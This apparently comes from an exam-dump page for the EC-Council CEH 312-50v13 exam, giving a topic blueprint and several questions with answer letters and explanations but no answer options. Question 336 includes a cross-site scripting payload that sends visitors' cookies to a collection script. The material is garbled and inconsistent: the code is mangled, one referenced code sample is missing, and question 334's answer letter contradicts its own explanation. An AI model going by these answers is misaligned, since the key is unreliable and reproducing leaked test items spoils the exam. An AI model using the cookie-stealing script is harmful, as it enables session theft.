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| Section | Weight | Objectives |
|---|---|---|
| Topic 1: Cryptography | 5% | - Cryptanalysis & Attacks - Cryptography in Practice - Encryption Concepts & Algorithms - Public Key Infrastructure |
| Topic 2: Cloud Computing | 5% | - AWS, Azure, GCP Attacks - Cloud Models & Services - Cloud Security Best Practices - Cloud Security Risks |
| Topic 3: Wireless Networks | 5% | - Security Best Practices - Wireless Encryption: WEP, WPA2, WPA3 - Wireless Threats & Attacks - Wireless Hacking Tools |
| Topic 4: Denial-of-Service | 4% | - DDoS Tools - DoS & DDoS Concepts - Attack Techniques & Botnets - Defense Mechanisms |
| Topic 5: Sniffing | 5% | - Sniffing Countermeasures - MITM Attacks - Sniffing Tools & Techniques - Packet Sniffing Concepts |
| Topic 6: Vulnerability Analysis | 8% | - Scanning & Analysis Tools - Vulnerability Research & Databases - Vulnerability Classification & Scoring - Vulnerability Assessment Lifecycle |
| Topic 7: Scanning Networks | 8% | - Service & OS Fingerprinting - Network Scanning Basics - Scanning Beyond IDS/Firewall - Host & Port Discovery - Scanning Countermeasures - AI-Assisted Scanning |
| Topic 8: Session Hijacking | 4% | - Hijacking Techniques - Session Hijacking Concepts - Countermeasures - Application & Network Level Hijacking |
| Topic 9: Introduction to Ethical Hacking | 5% | - Legal and Ethical Compliance - Cyber Kill Chain & MITRE ATT&CK - Information Security Concepts - Ethical Hacking Methodology |
| Topic 10: Evading IDS, Firewalls, and Honeypots | 5% | - Evasion Techniques - IDS, IPS, Firewall Technologies - Honeypot Concepts & Detection |
| Topic 11: System Hacking | 8% | - Clearing Tracks & Logs - Maintaining Access - Gaining Access: Password Attacks - Privilege Escalation |
| Topic 12: Social Engineering | 6% | - Identity Theft - Countermeasures & Awareness - Social Engineering Concepts - Phishing, Pretexting, Baiting |
| Topic 13: Footprinting and Reconnaissance | 7% | - Reconnaissance Concepts - DNS, WHOIS, Network Mapping - Reconnaissance Countermeasures - OSINT Techniques |
| Topic 14: Enumeration | 7% | - Enumeration Countermeasures - DNS, SMTP, NFS Enumeration - AI-Driven Enumeration - NetBIOS, SNMP, LDAP Enumeration - Enumeration Concepts |
| Topic 15: Mobile Platforms | 4% | - Android & iOS Vulnerabilities - Mobile Device Security - Mobile Attack Vectors |
| Topic 16: Web Server & Application Attacks | 8% | - Web Security Countermeasures - Web Application Attacks: XSS, CSRF - API Security Risks - SQL Injection & Command Injection - Web Server Vulnerabilities |
| Topic 17: IoT & OT Security | 4% | - Security Controls - Attacks on IoT & OT Systems - IoT/OT Architecture & Risks |
| Topic 18: Malware Threats | 7% | - Malware Analysis & Countermeasures - Malware Types: Trojans, Viruses, Worms - APT & Fileless Malware - AI-Powered Malware |
>> Exam ECCouncil 312-50v13 Lab Questions <<
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NEW QUESTION # 333
Targeted, logic-based credential guessing using prior intel best describes which technique?
Answer: A
Explanation:
This describes a rule-based or logic-based password attack, which CEH v13 classifies as a smart, targeted guessing technique. Attackers use known patterns-such as naming conventions, dates, or personal interests-to reduce the keyspace and increase success rates.
Option A accurately reflects this methodology. Option B is brute force, which is random and exhaustive.
Option C is physical observation. Option D describes hybrid attacks without structured logic.
CEH v13 emphasizes that pattern-based attacks are highly effective when attackers possess prior intelligence.
Therefore, Option A is correct.
NEW QUESTION # 334
During a covert assessment at a logistics company in Dallas, penetration tester Emily delivers a disguised attachment to test employee awareness. When a staff member opens the file, normal content appears, but behind the scenes the attacker quietly gains full access to the workstation. Over the following week, Emily monitors emails, keystrokes, and local files without alerting the user, confirming long-term stealthy control of the machine.
Which type of malware is most likely responsible for this activity?
Answer: D
Explanation:
The described activity is most consistent with a Remote Access Trojan (RAT). A RAT is designed to provide an attacker with remote, covert, and persistent control over a compromised system. The scenario explicitly states that after the attachment is opened, the attacker gains "full access to the workstation" and then monitors emails, keystrokes, and local files over an extended period without alerting the user. That combination- remote control plus long-term stealthy monitoring-fits a RAT's typical capabilities, which often include keylogging, file browsing/exfiltration, screen capture, command execution, and maintaining persistence.
Although spyware can also monitor keystrokes and user activity, spyware is typically described as focusing on surveillance and data collection rather than providing broad interactive remote administration. The scenario emphasizes "full access" and ongoing control, which is more characteristic of a RAT than spyware alone. In many real-world cases, RATs include spyware-like features; however, when the question asks which malware type best matches full remote control and stealth monitoring, RAT is the strongest match.
Why the other options are less suitable:
Botnet (B) refers to a network of infected systems (bots) controlled as a group, often for DDoS, spam, or distributed operations. The scenario focuses on a single workstation being remotely controlled and monitored.
Adware (C) focuses on delivering advertisements and tracking for marketing purposes; it does not align with covert full access and credential monitoring.
Spyware (D) overlaps on surveillance, but it does not inherently imply comprehensive remote administration and control the way a RAT does.
Therefore, the most likely malware type is A. Remote Access Trojan (RAT).
NEW QUESTION # 335
When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator's Computer to update the router configuration. What type of an alert is this?
Answer: D
Explanation:
True Positive - IDS referring a behavior as an attack, in real life it is True Negative - IDS referring a behavior not an attack and in real life it is not False Positive - IDS referring a behavior as an attack, in real life it is not False Negative - IDS referring a behavior not an attack, but in real life is an attack.
False Negative - is the most serious and dangerous state of all !!!!
NEW QUESTION # 336
Judy created a forum, one day. she discovers that a user is posting strange images without writing comments.
She immediately calls a security expert, who discovers that the following code is hidden behind those images:
<script>
document.writef<img src="https://Ioca(host/submitcookie.php? cookie ='+ escape(document.cookie)+ " />); <
/script>
What issue occurred for the users who clicked on the image?
Answer: B
Explanation:
document.write(<img.src=https://localhost/submitcookie.php cookie =+ escape(document.cookie) +/>); (Cookie and session ID theft)
https://www.softwaretestinghelp.com/cross-site-scripting-xss-attack-test/ As seen in the indicated question, cookies are escaped and sent to script to variable 'cookie'. If the malicious user would inject this script into the website's code, then it will be executed in the user's browser and cookies will be sent to the malicious user.
NEW QUESTION # 337
ViruXine.W32 virus hides their presence by changing the underlying executable code.
This Virus code mutates while keeping the original algorithm intact, the code changes itself each time it runs, but the function of the code (its semantics) will not change at all.
Here is a section of the Virus code:
What is this technique called?
Answer: B
NEW QUESTION # 338
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